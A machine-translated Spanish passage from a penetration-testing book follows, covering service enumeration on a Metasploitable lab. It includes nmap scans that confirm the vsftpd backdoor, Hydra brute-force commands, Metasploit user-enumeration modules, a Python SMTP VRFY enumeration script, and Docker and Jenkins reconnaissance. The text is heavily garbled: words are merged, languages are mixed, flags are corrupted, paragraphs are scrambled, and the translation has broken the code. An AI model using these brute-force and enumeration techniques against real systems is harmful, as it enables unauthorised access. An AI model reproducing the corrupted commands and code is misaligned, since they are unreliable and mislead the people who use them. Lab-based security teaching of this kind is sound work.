a172.16.0.102 |Iniciado sesión en ftp |TIPO:ASCII |Ningún límite de ancho de banda de sesión |El tiempo de espera de la sesión es de 300 segundos |La conexión de control es texto sin formato |Las conexiones de datos serán texto sin formato |vsFTPd2.3.4-seguro,rápido,estable | _Endofstatus Dirección MAC: 00: 0C: 29: D2: 1A: B1 (VMware) Advertencia: Los resultados de OSScan pueden no ser confiables porque no pudimos encontrar al menos 1 puerto abierto y 1 cerrado Tipo de dispositivo: propósito general Ejecutando:Linux2.6.X OSCPE:cpe:/o:linux:linux_kernel:2.6 Detalles del sistema operativo: Linux 2.6.9-2.6.33 Distancia de red: 1 salto Información de servicio: SO: Unix Canal de Telegram : @IRFaraExam Machine Translated by Google Detección de SO y servicio realizada. Informe cualquier resultado incorrecto en https:// nmap.org/submit/. Nmapdone: 1 dirección IP (1 host up) escaneada en 1,93 segundos De acuerdo con los resultados del escaneo anterior, hemos identificado lo siguiente (vamos a validar la información durante la fase de explotación): Podemos iniciar sesión en el servidor FTP con credenciales anónimas. LaversióndelservidorFTPesvsftpd2.3.4. Tenemos un reconocimiento de que la comunicación está en texto claro. AdvancedScriptingScanwithNmap El análisis básico del script ÿsC ( técnicamente se llama el script predeterminado) no analiza para todo. En este paso, incluiremos todas las funcionalidades de escaneo de scripts en Nmap para el servicio FTP utilizando la opción –script =ftp*. preguntándose: "¿Por qué no ejecuté este escaneo desde el principio?" y aprender acerca de su tiempo de paso a paso objetivo, le dará un ángulo diferente y darle la capacidad de tomar mejores decisiones. (La prueba de penetración no se trata de ejecutando escáneres; es la misma metodología.) root@kali:~#nmapÿsVÿOÿÿscript=ftp*ÿp21ÿ T5metasploitable.kcorp.local ComenzandoNmap7.80(https://nmap.org)a las 2020-06-0414:41EDT NSE:[ftp-bounce]PORTresponse:500IllegalPORTcommand. NSE: [ftp-brute] nombres de usuario: Límite de tiempo 3m00 excedido. NSE: [ftp-brute] nombres de usuario: Límite de tiempo 3m00 excedido. NSE: [ftp-brute] contraseñas: Límite de tiempo 3m00 excedido. Nmapscan informa sobre la explotación.kcorp.local(172.16.0.101) Hostsup (0.00031 latencia). VERSIÓN DEL SERVICIO DEL ESTADO DEL PUERTO 21/tcpopenftpvsftpd2.3.4 |_ftp-anon:AnónimoFTPloginallowed(FTPcode230) |ftp-brute:| Cuentas:| usuario:usuarioÿ Credenciales válidas |_Estadísticas: 1166 conjeturas realizadas en 181 segundos, promedio de ps: 6.3 |ftp-syst:|STAT:| Estado servidor del FTP: |Conectado a172.16.0.102 Canal de Telegram : @IRFaraExam Machine Translated by Google |Iniciado sesión en ftp |TIPO:ASCII |Ningún límite de ancho de banda de sesión |El tiempo de espera de la sesión es de 300 segundos |La conexión de control es texto sin formato |Las conexiones de datos serán texto sin formato |vsFTPd2.3.4-seguro,rápido,estable | _Endofstatus |ftp-vsftpd-puerta trasera: |VULNERABLES: |vsFTPdversión2.3.4puerta trasera Estado: VULNERABLE (explotable) ID:BID:48539CVE:CVE-2011-2523 vsFTPdversion2.3.4backdoor, esto se informó en 2011|||07-04. Fecha de divulgación:2011-07-03 Explotar resultados: |||Comando Shell:id |Resultados:uid=0(raíz)gid=0(raíz) |Referencias: |http://scarybeastsecurity.blogspot.com/2011/07/alert vsftpd-download-backdoored.html |https://github.com/rapid7/metasploit framework/blob/master/ modules/exploits/unix/ftp/vsftpd_234_backdoor.rb | 2523 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011- | _[…] https://www.securityfocus.com/bid/48539 Los siguientes son los sorprendentes resultados encontrados en el escaneo de secuencias de comandos anterior (nosotros los explotará en el siguiente capítulo): El reconocimiento del inicio de sesión anónimo (ya lo encontramos en el primer escanear). La fuerza bruta fue capaz de encontrar las credenciales de la cuenta. Encontramos que la versión del servidor puede ser explotada. Más técnicas de fuerza bruta Si desea realizar un análisis de fuerza bruta adicional, puede utilizar Hydra para obtener el trabajo hecho: root@kali:~# hydraÿt10ÿL/opt/SecLists/Usernames/topÿusernamesÿ shortlist.txt-P/opt/SecLists/Passwords/xato-net-10-million- Canal de Telegram : @IRFaraExam Machine Translated by Google contraseñasÿ1000.txtftp://metasploitable.KCorp.local Hydrav9.0(c)2019byvanHauser/THC-Favor de no usar en organizaciones militares o de servicios secretos, o para fines ilegales. Hydra(https://github.com/vanhauser-thc/thc-hydra)a partir de2020-06-0420:07:27 [ADVERTENCIA]Restorefile(tiene10segundosparaabortar...(useoptionItoskipwaiting))desdeunasesiónanteriorencontrada,paraevitarsobrescribir,./hydra.restore [ DATA]max10tasksper1server,overall10tasks,17000loginttrys(l:17/p:1000),~1700triespertask [DATA]attackingftp://metasploitable.KCorp.local:21/ [STATUS]190.00tries/ min,190triesin00:01h,16810todoin01:29h, 10activo [21] [ftp]host:metasploitable.KCorp.locallogin:ftppassword:123456789 […] El comando Hydra utiliza las siguientes opciones: t10 : Ejecutar con 10 subprocesos paralelos L :rutaalarchivodeusuarios P :Rutaalarchivodecontraseñas Enelpróximocapítulo,repasaremoslafasedeexplotación(lainformaciónenestecapítuloesunaentradaparalafase SSH (Puerto 22) Ya aprendimos en el capítulo anterior cómo funciona el protocolo SSH. Si no está familiarizado con la diferencia entre las claves públicas y las claves privadas y cómo se usan en el protocolo SSH, vuelva al primer capítulo de este libro donde cubrí este tema con ejemplos. Escenarios de explotación para un servidor SSH Un servidor SSH se puede explotar de diferentes maneras; estos son los escenarios comunes que debería estar buscando (nuevamente, necesita saber cómo será la explotación del servicio): Credenciales de fuerza bruta (este es nuestro objetivo principal durante la fase de enumeración). Canal de Telegram : @IRFaraExam Machine Translated by Google Agregar una clave pública al archivo de claves autorizadas en el servidor (pero necesitará un shell para poder escribir en ese archivo; en otras palabras, primero deberá tener acceso al host). SSH se puede usar para activar otro host en la red. Esto se puede lograr si un host está comprometido y el atacante tiene acceso a las claves públicas y privadas en el host de la víctima (girar es una tarea posterior a la explotación). Encuentre un exploit público asociado con la versión del servidor Telnet de destino. Si el atacante puede leer el archivo de claves autorizadas de un algoritmo DSA (no RSA), entonces el atacante puede usar las claves privadas públicas generadas e intentar hacerlas coincidir con la clave pública dentro del archivo de claves autorizadas . (Primero necesitará un shell remoto o leer el archivo usando la vulnerabilidad de "inclusión de archivos locales" de una aplicación web. Trabajaremos en LFI en los próximos capítulos). $ssh-i[archivo de clave privada][usuario@ftp_server_ip] Puede leer un artículo detallado sobre este último ataque aquí: https://github.com/g0tmi1k/debian-ssh AdvancedScriptingScanwithNmap Ejecutemos una tarea de enumeración rápida para obtener información sobre el servidor SSH en el host de Metasploitable: root@kali:~#nmapÿsVÿOÿsCÿp22ÿT5metasploitable.kcorp.local InicioNmap7.80(https:// nmap.org)en2020-06-0510:55EDT Nmapscanreportformetasploitable.kcorp.local(172.16.0.101) Hostsup (0.00036 latencia). PORTSTATESERVICEVERSION 22/tcpopensshOpenSSH4.7p1Debian8ubuntu1(protocolo 2.0) |ssh-hostkey:| 102460:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd(DSA ) | _204856:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3(RSA) Dirección MAC: 00: 0C: 29: D2: 1A: B1 (VMware) Advertencia: Los resultados de OSScan pueden no ser confiables porque no pudimos encontrar al menos 1 puerto abierto y 1 puerto cerrado Tipo de dispositivo: propósito general En ejecución: Linux 2.6.X […] Canal de Telegram : @IRFaraExam Machine Translated by Google La única información en los resultados del escaneo anterior es la versión del control remoto servidor SSH. A continuación, tenemos que ejecutar el análisis completo del script con Nmap para ver si podemos detectar más problemas con el servidor SSH de destino: root@kali:~# nmapÿsVÿOÿÿscript=ssh*ÿp22ÿ T5metasploitable.kcorp.local A partir de Nmap7.80(https://nmap.org) a las 2020-06-0511:00EDT […] Nmapscan informa sobre la explotación.kcorp.local(172.16.0.101) Hostsup (0.00075 latencia). VERSIÓN DEL SERVICIO DEL ESTADO DEL PUERTO 22/tcpopensshOpenSSH4.7p1Debian8ubuntu1(protocolo 2.0) |ssh-auth-methods:| Métodos de autenticación admitidos: |clavepublica |_contraseña |ssh-brute:| Cuentas:| usuario:usuarioÿ Credenciales válidas |_Estadísticas: 204 conjeturas realizadas en 181 segundos, promedio de fps: 1,2 |ssh-hostkey:| 102460:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd(DSA) |_204856:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3(RSA) |ssh-publickey-aceptance:| _AcceptedPublicKeys:Nopublickeysaccepted |_ssh-run: Error al especificar las credenciales y el comando para ejecutar. […] Los resultados anteriores muestran que Nmap encontró una credencial válida para autenticar de forma remota en el servidor SSH. Recuerde que este hallazgo es significativo porque, con esas credenciales, podemos tener acceso remoto al servidor de destino. SSH de fuerza bruta con Hydra Al igual que hicimos en el FTP de fuerza bruta, podemos usar Hydra para SS Haswell. use las mismas opciones que usamos para el escenario de FTP: root@kali:~# hydraÿt10ÿL/opt/SecLists/Usernames/topÿusernamesÿ shortlist.txt-P/opt/SecLists/Passwords/xato-net-10-millioncontraseñasÿ1000.txtssh://metasploitable.KCorp.local Hydrav9.0(c)2019byvanHauser/THC: no lo utilice en organizaciones militares o de servicios secretos, ni para fines ilegales. Canal de Telegram : @IRFaraExam Machine Translated by Google Hydra (https://github.com/vanhauser-thc/thc-hydra) a partir de 2020-06-0511:11:19 [ADVERTENCIA] Muchas configuraciones de SSH limitan el número de tareas paralelas, se recomienda reducirlas: use-t4 [DATA] max10tasksper1server,overall10tasks,17000logentries(l:17/ p:1000),~1700intentos por tarea [DATOS]atacandosh://metasploitable.KCorp.local:22/ [ESTADO]130.00intentos/ min,130intentosen00:01 h, 16870todo en 02:10 h, 10 activo 1 de 1 objetivo completado, 0 contraseñas válidas encontradas Hydra (https://github. com/vanhauser-thc/thchydra)finalizadoen2020-06-0514:34:08 Desafortunadamente, el resultado del escaneo anterior no encontró ningún resultado. En la siguiente sección, "Técnicas avanzadas de fuerza bruta", aprenderá cómo ejecutar ataques de fuerza bruta como un campeón. Avanzada bruta ForcingTechniques scantechnique.Inthepreviousexample Nowit'stimetostartusingMetasploitsothatwecanleverageourbrute fuerza, credentials.Infact yousawthatwedidn'tfindany, wetriedtorunablindbrute-forceattackagainstmytarget host.Inthisexample, wewilluseMetasploittoscanforvalidusernamesonthe Metasploitablehostfirst; entonces, wewillattackthosespecificusersinsteadofjust guessing.TorunMetasploit, wewilltype msfconsole intoourterminalwindow: root@kali:~#msfconsole Después de eso, se carga la ventana de Metasploit y realizaremos las siguientes acciones: 1. Utilice el módulo de enumeración llamado ssh_enumusers . 2. Identifique la dirección IP de Metaploitable. 3.EstablezcaelnúmerodepuertoSSHremoto. 4. Identifique la ruta al archivo de diccionario del usuario. 5. Establezca el número de ejecución de subprocesos paralelos en 25. 6.Finalmente, ejecútelo. msf5>useauxiliary/scanner/ssh/ssh_enumusers msf5auxiliary(scanner/ssh/ssh_enumusers)>setRHOSTS172.16.0.101 msf5auxiliary(scanner/ ssh/ssh_enumusers)>setUSER_FILE Canal de Telegram : @IRFaraExam Machine Translated by Google /usr/share/wordlists/metasploit/namelist.txt msf5auxiliary(scanner/ssh/ssh_enumusers)>setPORT22 msf5auxiliary(scanner/ssh/ssh_enumusers)>setTHREADS25 msf5auxiliary(scanner/ssh/ssh_enumusers)>run [*]172.16.0.101:22-SSH-Usingmalformedpackettechnique [*]172.16.0.101:22-SSHCheckingforfalsepositives [*]172.16.0.101:22-SSH-Startingscan [+]172.16.0.101:22SSH-User'backup 'encontrado [+]172.16.0.101:22-SSH-Usuario'dhcp'encontrado [+]172.16.0.101:22-SSH-Usuario'ftp'encontrado [+]172.16.0.101:22-SSHUsuario'juegos'encontrado [+]172.16.0.101:22-SSH-Usuario'irc'encontrado [+]172.16.0.101:22-SSH-Usuario'mail'encontrado [+]172.16.0.101:22-SSHUsuario'mysql'encontrado [+] ]172.16.0.101:22-SSH-User'news'found [+]172.16.0.101:22-SSH-User'proxy'found [+]172.16.0.101:22-SSH-User'root'found [+]172.16 .0.101:22-SSH-User'service'found [+]172.16.0.101:22-SSH-User'snmp'found [+]172.16.0.101:22-SSH-User'syslog'found [+]172.16.0.101 :22-SSH-User'user'found [*]Ejecución de módulo auxiliar completada msf5auxiliary(scanner/ssh/ ssh_enumusers)> Se han encontrado muchos nombres de usuario en los resultados de salida anteriores. A continuación, guardaremos todos los nombres de usuario en un archivo users.txt y almacenaremos el archivo en el directorio de inicio raíz. Tome nota de que estamos usando un archivo de diccionario de contraseñas más pequeño en el siguiente ejemplo para terminar más rápido. Finalmente, estamos usando la opción ÿensr por las siguientes razones : "n" significa contraseña nula (la contraseña está vacía). "s" representa la contraseña de inicio de sesión (nombre de usuario = contraseña). "r" significa inicio de sesión inverso (por ejemplo, si el nombre de usuario es root, entonces la contraseña será to o ). root@kali:~#hydraÿt10ÿensrÿL/root/users.txtÿP/opt/SecLists/Passwords/ darkweb2017ÿtop100.txtssh://metasploitable.KCorp.local[…] [22][ssh] host:metasploitable.KCorp.locallogin:contraseña de servicio:servicio [22] [ssh]host:metasploitable.KCorp.locallogin:contraseña de usuario: Canal de Telegram : @IRFaraExam Machine Translated by Google usuario 1 de 1 objetivos completados con éxito, 2 contraseñas válidas encontradas Enelsiguientecapítulo,explotaremoslosresultadosqueencontramosanteriormente.Además, profundizaremos en cada escenario de explotación de SSH. Telnet (Puerto 23) Telnet es una forma antigua de conectarse a un host remoto usando el protocolo TCP en el puerto 23 para manipular el host usando la línea de comando (como SSH). A diferencia de SSH, la comunicación Telnet no es segura y se transmite en texto claro. Este protocolo se usaba comúnmente en dispositivos de red heredados y también en sistemas operativos Windows. Estas son las debilidades comunes en Telnet: Las credenciales de inicio de sesión se envían en texto sin cifrar. El texto de la línea de comandos no está cifrado. Escenarios de explotación para el servidor Telnet Un servidor Telnet se puede explotar de diferentes maneras. Estos son los escenarios comunes que encontrará durante su compromiso: Credenciales de fuerza bruta Olfateando credenciales de texto sin cifrar Husmear en busca de líneas de comando no cifradas Búsqueda de un exploit público asociado con la versión del servidor Telnet de destino Flujo de trabajo de enumeración Hay tres tareas que ejecutaremos para este flujo de trabajo de numeración avanzada: ServiciosbásicoscanusandoNmap Exploración avanzada de secuencias de comandos con Nmap Credenciales de fuerza bruta usando Hydra Escaneo de servicio Canal de Telegram : @IRFaraExam Machine Translated by Google En el primer paso, ejecutaremos análisis de servicios básicos en Nmap para obtener una idea del servidor explotable Telnet Metas de destino: root@kali:~# nmapÿsVÿOÿsCÿp23ÿT5metasploitable.kcorp.local InicioNmap7.80 (https://nmap.org)en2020-06-0813:39EDT Nmapscanreportformetasploitable.kcorp.local(172.16.0.101) Hostsup (0.00048 latencia). PORTSTATESERVICEVERSION 23 / tcpopentelnetLinuxtelnetd MACAddress: 00: 0C: 29: D2: 1A: B1 (VMware) Advertencia: Los resultados de OSScan pueden no ser confiables porque no pudimos encontrar al menos 1 puerto abierto y 1 cerrado Tipo de dispositivo: propósito general En ejecución: Linux 2.6.X OSCPE: cpe:/o: linux: linux_kernel: 2.6 Detalles del sistema operativo: Linux 2.6.9-2.6.33 Distancia de red: 1 salto Información de servicio: SO: Linux; CPE: cpe: / o: linux: linux_kernel […] Nmapdone: 1 dirección IP (1 host up) escaneada en 8,98 segundos AdvancedScriptingScan El siguiente paso es buscar más debilidades usando el escaneo completo de secuencias de comandos Telnet de Nmap: root@kali:~# nmapÿsVÿOÿÿscript=telnet*ÿp23ÿ T5metasploitable.kcorp.local […] PORTSTATESERVICEVERSION 23/ tcpopentelnetLinuxtelnetd |telnet-brute:| Accounts:|user:userÿValidcredentials | _Statistics:Realizado1227conjeturasen184segundos,averagetps:6.6 |telnet-encryption:| _Telnetserverdoesnotsupportencryption […] ServiceInfo: SO: Linux; CPE: cpe: / o: linux: linux_kernel […] Nmapdone: 1 dirección IP (1 host up) escaneada en 185,20 segundos De acuerdo con los resultados de salida anteriores, concluimos lo siguiente: Podemos iniciar sesión de forma remota en el servidor Telnet con nombre de usuario = usuario y Canal de Telegram : @IRFaraExam Machine Translated by Google contraseña=usuario. Recibimos el reconocimiento de que la comunicación no está cifrada. Fuerza bruta con Hydra Solo para verificar dos veces, ejecutaremos Hydra para ver si podemos encontrar más credenciales que Nmap: root@kali:~# hydraÿt10ÿensrÿL/opt/SecLists/Usernames/topÿ usernamesÿ shortlist.txtÿP/opt/SecLists/Passwords/darkweb2017ÿ top100.txttelnet:// metasploitable.KCorp.local [ …] [23] [telnet]host:metasploitable.KCorp.locallogin:usuariocontraseña: usuario Hydra encontró la misma cuenta de credenciales. Protocolos de correo electrónico Hay tres protocolos de correo electrónico que necesitará comprender para sus fases de enumeración y explotación: SMTP: el protocolo simple de transferencia de correo se utiliza para enviar correos electrónicos y utiliza el puerto TCP 25. SMTP se puede utilizar a través de SSL mediante el puerto 465. POP3: se utiliza el Protocolo de oficina de correos V3 para recibir correos electrónicos y se utiliza el puerto 110. POP3 sobre SSL utiliza el puerto 995. IMAP4: El protocolo de acceso a mensajes de Internet V4 se usa para almacenar y administrar correos electrónicos en el servidor, y se usa el puerto 143. IMAP4 sobre SSL usa el puerto 993. SMTP (Puerto 25) Usaremos el servidor vulnerable Metasploitable para este ejemplo. Pero antes de continuar, tratemos de entender lo que estamos buscando en esta etapa: Compruebe si el servidor admite los comandos VRFY para poder enumerar usuarios Compruebe si existe un exploit público para el servidor de destino. (Discutiremos este punto en el Capítulo 7, “Fase de explotación”). NmapBasicEnumerationNmapBasicEnumeration Canal de Telegram : @IRFaraExam Machine Translated by Google Usaré el comando de numeración básica de Nmap para evaluar el host de destino: root@kali:~# nmapÿsVÿOÿsCÿp25ÿT5metasploitable.kcorp.local ComenzandoNmap7.80(https://nmap.org)a las 2020-06-0914:25EDT Nmapscan informa sobre la explotación.kcorp.local(172.16.0.101) Hostsup (0.00033 latencia). VERSIÓN DEL SERVICIO DEL ESTADO DEL PUERTO 25/tcpopensmtpPostfixsmtpd |_smtp- commands:metasploitable.localdomain,PIPELINEING,SIZE10240000,VRFY,ETRN,STARTTLS,ENHANCEDS En los resultados anteriores, tenemos dos hallazgos: Descubrimos que el servidor admite el comando VRFY . Este comando permitirnos enumerar a los usuarios en el servidor. Contamos con la versión del servidor de correo electrónico SMT. Enumeración avanzada de Nmap A continuación, usaremos la potencia de Nmap y sus características avanzadas para obtener aún más información: root@kali:~#nmap-sV-O-p25--script=smtp*-T5metasploitable.kcorp.local ComenzandoNmap7.80(https://nmap.org)a las 2020-06-0914:38EDT Nmapscan informa sobre la explotación.kcorp.local(172.16.0.101) Hostsup (0.00050 latencia). VERSIÓN DEL SERVICIO DEL ESTADO DEL PUERTO 25/tcpopensmtpPostfixsmtpd |_smtp- commands:metasploitable.localdomain,PIPELINING,SIZE10240000,VRFY,ETRN,STARTTLS,ENHANCEDST |_smtp-open-relay:El servidor no parece ser un relé abierto, todas las pruebas fallaron |smtp-vuln-cve2010-4344:| _TheSMTPserverisnotExim:NOTVULNERABLE […] Hay dos cosas a tener en cuenta en los resultados del análisis anterior: Nmap no pudo listar a los usuarios en el servidor. (Nmap usó el RCPT método para enumerar usuarios). Canal de Telegram : @IRFaraExam Machine Translated by Google El servidor no es vulnerable a las vulnerabilidades mtp-vuln-cve2010-4344. EnumeratingUsers En los escaneos de Nmaps anteriores, no estábamos en la mesa para enumerar a los usuarios en el servidor, y me alegra ver eso. ¡No cuente siempre con un escáner para hacer el trabajo! ¿Recuerda que aprendió que el comando VRFY le permitirá enumerar usuarios? Pongámoslo en práctica. Usaremos netcat para conectarnos al servidor y buscar dos usuarios: Usuario gus , que no existe Usuario raíz, que existe en el servidor root@kali:~# nc172.16.0.10125 220metasploitable.localdomainESMTPPostfix(Ubuntu) VRFYgus 5505.1.1<gus>: Dirección del destinatario rechazada: Usuario desconocido en la tabla de destinatario local VRFYroot 2522.0.0root ^C root@kali:~# La metodología anterior es manual. Es un juego de adivinanzas y no es profesional. Aprendió del ejemplo anterior cómo funciona. Pero para enumerar realmente a los usuarios, necesitamos usar un escaneo automático . msf5> useauxiliary/scanner/smtp/smtp_enum msf5auxiliary(scanner/smtp/smtp_enum) >setRHOSTS172.16.0.101 RHOSTS=>172.16.0.101 msf5auxiliary(scanner/smtp/smtp_enum)>ejecutar [*]172.16.5.101:26.16-101 0.101:25Banner:220metasploitable.localdomainESMTPPostfix(Ubuntu) [+]172.16.0.101:25-172.16.0.101:25Usuarios encontrados:,backup,bin,daemon,distccd,ftp,games,gnats,irc,libuuid,list,lp,mail, man,mysql,noticias,nadie,postfix,postgres,postmaster,proxy,servicio,sshd,sync,sys,syslog,user,uucp,wwwÿ data [*]172.16.0.101:25-Scanned1of1hosts (100% completo) [*]Ejecución del módulo auxiliar completada msf5auxiliary(scanner/smtp/smtp_enum)> Nuevamente, ejecutar las herramientas automatizadas no nos dio un resultado preciso. Si observa detenidamente el ejemplo manual anterior, el comando VRFY respondió que el Canal de Telegram : @IRFaraExam Machine Translated by Google existe un usuario raíz pero el módulo smtp_enum no mostró a ese usuario. Aquí es donde los lenguajes de programación resultan útiles en este nivel. En el siguiente ejemplo, aprenderá a desarrollar su propio script utilizando Python. importsocket importsys tiempo de importación defprint_welcome(): print("\r\nBienvenidoalarenumeracióndeusuariosSMTPsuperscan\r\n") print("============================== =================") defenumerate_smtp(dirección_ip): #Pathtotheusersdictionaryfile users_file_path="/usr/ share/metasploit marco/datos/listas de palabras/unix_users.txt" #AbraelarchivodetextoenmodoLecturayempieceanumerarconopen(users_file_path,'r')asusers_file: foruserinusers_file: #Cleanuptheuservalue user=user.strip() #Noprocesarunvalordeusuariovacío siusuario=="": continuar tratar: #CreateaSocketobject sok=socket.socket(socket.AF_INET, enchufe.SOCK_STREAM) #ConnecttotheSMTPServer sok.connect((ip_address,25)) #Recibeelbannerdesdeelservidor primero sok.recv(1024) #Verificarsielusuarioexisteenelservidorutilizando elcomandoVRFY sok.send('VRFY'+usuario+'\r\n') #Dormirpor1segundo para no inundar la hora del servidor.sleep(1) #Gettheresponsefromtheserver results=sok.recv(1024) if(not"rejected"inresults): print("%s:Found"%user) exceptException: print("¡Se produjo un error!") Canal de Telegram : @IRFaraExam Machine Translated by Google finalmente: #Closetheconnectionsocket sok.close() #Hacerle saber al usuario que terminamos de imprimir ("\ r \ nEl programa ha terminado de enumerar usuarios. \ R \ n") defmain(): print_welcome() enumerate_smtp(sys.argv[1]) if__name__=='__principal__': principal() Intentemos ejecutar el código Python anterior en la ventana de la terminal: root@kali:~#python./smtp_users.py172.16.0.101 Bienvenido a la superexploración de enumeración de usuarios SMTP ============================================== backup:Encontrado bin:Encontrado daemon:Encontrado distccd:Encontrado ftp:Encontrado juegos:Encontrado gnats:Encontrado irc:Encontrado libuuid:Encontrado lista:Encontrado lp:Encontrado correo:Encontrado man:Encontrado mysql:Encontrado noticias:Encontrado nadie:Encontrado postfix: Encontrado postgres:Encontrado postmaster:Encontrado proxy:Encontrado root:Encontrado ROOT:Encontrado servicio:Encontrado sshd:Encontrado sync:Encontrado sys:Encontrado syslog:Encontrado usuario:Encontrado uucp:Encontrado www-data:Encontrado Canal de Telegram : @IRFaraExam Machine Translated by Google El programa ha terminado de enumerar los usuarios. ¡Eso es lo que llamo enumerar como un jefe! POP3 (Puerto 110) e IMAP4 (Puerto 143) En esta etapa, todo lo que queremos hacer es acceder a la bandeja de entrada de un usuario existente en el servidor. Para que esto funcione, debemos asegurarnos de que el servidor de correo esté instalado en el host de destino, por lo que veremos lo siguiente: POP3 puerto 110 abierto, y tal vez el servidor permita POP3 sobre SSL (usando el puerto 995) IMAP4puerto143abierto,yquizáselservidorpermitaIMAPsobreSSL(usandoelpuerto993) Un escaneo rápido de Nmaps a nuestro servidor de correo de destino nos dará la información que estamos buscando (este es un servidor de correo de Linux y no el host de Metasploitable): root@kali:~#nmapÿsVÿOÿsCÿp110,995,143,993mail.kcorp.local InicioNmap7.80(https:// nmap.org)en2020-06-1014:26EDT Nmapscanreportformail.kcorp.local(172.16.0.100 ) Host (0,00035 latencia). PORTSTATESERVICEVERSION 110/tcpopenpop3Dovecotpop3d |_pop3capabilities:SASLRESP-CODESSTLSAUTH-RESP-CODEPIPELININGTOPCAPAUIDL […] 143/tcpopenimapDovecotimapd […] 993/tcpopenimaps? […] 995/tcpopenpop3s? […] Cuentas de correo electrónico POP3 de fuerza bruta La mejor manera de aprovechar la fuerza bruta para POP3 es poder extraer los usuarios primero y guardarlos en un archivo (ya lo hicimos en la parte de enumeración de usuarios SMTP): $hydraÿL[archivo de usuarios]ÿP[archivo de contraseñas]pop3://[IP] Enelpróximocapítulo,aprenderácómoexplotaryaccederalabandejadeentradadel Canal de Telegram : @IRFaraExam Machine Translated by Google Machine Translated by Google Servidor de base de datos Oracle (Puerto 1521) El servidor de la base de datos de Oracle utiliza el puerto TCP 1521, y los mismos conceptos se aplican a Microsoft SQL Server cuando se trata de la enumeración: Credenciales de fuerza bruta Identificar si la versión instalada es explotable Análisis de enumeraciones básicas de la base de datos de Oracle $nmapÿsVÿOÿsCÿp1521[dirección IP] Exploración de enumeraciones avanzadas de la base de datos de Oracle $nmapÿsVÿOÿp1521ÿÿscript=oracle*[Dirección IP] Base de datos de fuerza bruta de Oracle $hydraÿs1521ÿL[archivo de usuarios]ÿP[archivo de contraseñas][IP] MySQL (Puerto 3306) El servidor de base de datos MySQL usa el puerto TCP 3306, y se le aplican los mismos conceptos cuando se trata de la enumeración, como se explicó anteriormente: Credenciales de fuerza bruta Identificar si la versión instalada es explotable Análisis de enumeraciones básicas de MySQL $nmapÿsVÿOÿsCÿp3306[dirección IP] Exploración de enumeraciones avanzadas de MySQL $nmapÿsVÿOÿp1521ÿÿscript=mysql*[Dirección IP] Fuerza bruta de MySQL $hydraÿL[archivo de usuarios]ÿP[archivo de contraseñas]MySQL://[IP] Protocolos CI/CD La integración continua/implementación continua (CI/CD) es la tendencia más reciente en los proyectos y está estrechamente relacionada con DevOps. Canal de Telegram : @IRFaraExam Machine Translated by Google Dockercontainers Jenkins Ventana acoplable (Puerto 2375) AppendixBcoversDockertechnology.Youarehighlyencouragedtocheckit outbeforeproceedingwiththistopic.Generally, ahostrunningDockerwillbe completelytransparentforyou, andyouwon'tbeabletoassumethatthetarget hosthasDockerinstalled (checkthefollowingexample) berunningonaseparatenetwork .Dockercontainerswill, puertos andit'sfortheusertochoosetoopenthese. (I'massumingyouunderstandthispointalready.Ifnot, pleaserefertothe apéndice.) Thistohackintothesystems I'veseencaseswhereemployeeswillinstallDockeronthecloudand startopeningportsontheinternet, andthat'sgoodforus-weneedpeoplelike! A veces, estos analistas de DevOps irán más allá de la imaginación y abrirán el puerto del motor Docker TCP2375, también conocido como un demonio Docker. Si esto sucede, significa que podemos manipular el motor Docker de forma remota creando contenedores y mucho más más. Entonces, ¿cómo se ve escanear un host donde está instalado Docker y no tiene el puerto daemon abierto? En el siguiente ejemplo, escanearemos un host Linux donde está instalado Docker y también tenemos un contenedor de correo ejecutándose: root@kali:~#nmapÿsVÿpÿ ÿT5172.16.0.100 Inicio de Nmap 7.80 (https://nmap.org) a las 2020-06-1209:51EDT Nmapscanreportfor172.16.0.100 Hostisup(0.00075slatency). NotShown: 65525 Círculo PortStatesViceVersion tcpopensmppostFixsmtpd 25 / 80 / tcpopenhttpninx 110 / tcpopenpop3dovecotpop3d 143 / tcpopenimapdovecotimapd 443 httpnginx / tcpopenssl 465 / / tcpopenssl / smtppostfixsmtpd 587 / tcpopensmtpdftfixsmtpd 993 / tcpopenimaps? tcpopenpop3s? 995/ 4190/tcpopensieveDovecotPigeonholesieve1.0 MACAddress:00:0C:29:55:E6:4B(VMware) Información de servicio:Host:mail.kcorp.local […] Canal de Telegram : @IRFaraExam Machine Translated by Google En los resultados del análisis anterior, nada muestra que el host tenga un motor Docker instalado. Todo lo que vemos es que este host tiene un servidor de correo en ejecución, pero la contenedorización es invisible. Ahora, tenemos un segundo host para CI/CD en ejecución, y el puerto del demonio Docker está abierto (TCP2375). En este host Linux, tenemos Docker instalado y ejecutando un contenedor Jenkins. root@kali:~# nmapÿsVÿpÿ ÿT5172.16.0.103 Inicio de Nmap 7.80 (https://nmap.org) a las 2020-06-1210:06EDT Nmapscanreportfor172.16.0.103 Hostisup(0.00082slatency). No se muestra: 65532 puertos cerrados PORTSTATESERVICEVERSION 2375/ tcpopendockerDocker19.03.8 8080/ tcpopenhttpJetty9.2.z-SNAPSHOT 50000/ tcpopenhttpJenkinshttpd2.60.3 MACAddress:00:0C:29:96:F8:6C(VMware) Ahora, si se ejecutaran los scripts de Nmap contra el puerto de Docker, veremos más detalles, pero nada que lleve a un escenario de explotación real (lo explotaremos en el siguiente capítulo): root@kali:~# nmapÿsVÿOÿÿscript=docker*ÿp2375ÿT5172.16.0.103 Inicio de Nmap7.80(https://nmap.org) a las 2020-06-1211:31EDT Nmapscanreportfor172.16.0.103 Hostisup (0,00040 latencia). PORTSTATESERVICEVERSION 2375/tcpopendockerDocker19.03.8 |dockerversion:|GoVersion:go1.13.8 | KernelVersion:5.4.0-37-generic |Plataforma:| Nombre:|Arch:amd64 |GitCommit:afacb8b7f0 | Componentes:|[…] Jenkins (Puerto 8080/50000) Jenkins es un orquestador durante el proceso de implementación del código fuente. Durante una implementación normal, Jenkins se programará en un intervalo diario (o algo más) para ir y verificar el repositorio del código fuente, por ejemplo, GitHub Canal de Telegram : @IRFaraExam Machine Translated by Google (soitneedscredentialstobestoredinJenkinsinordertologintothe repositorio) .A continuación, itwillcompilethesourcecodefetchedfromtherepositoryand runsomeautomatedtests (por ejemplo, unittests, regressiontests, forsecurity staticcodeanalysis, etc.) Ifallthetestspasswithoutanyfailures, thenitdeploysthe sourcecodetothedevelopmentserver (dedicatedtodevelopers) Server andtheQA 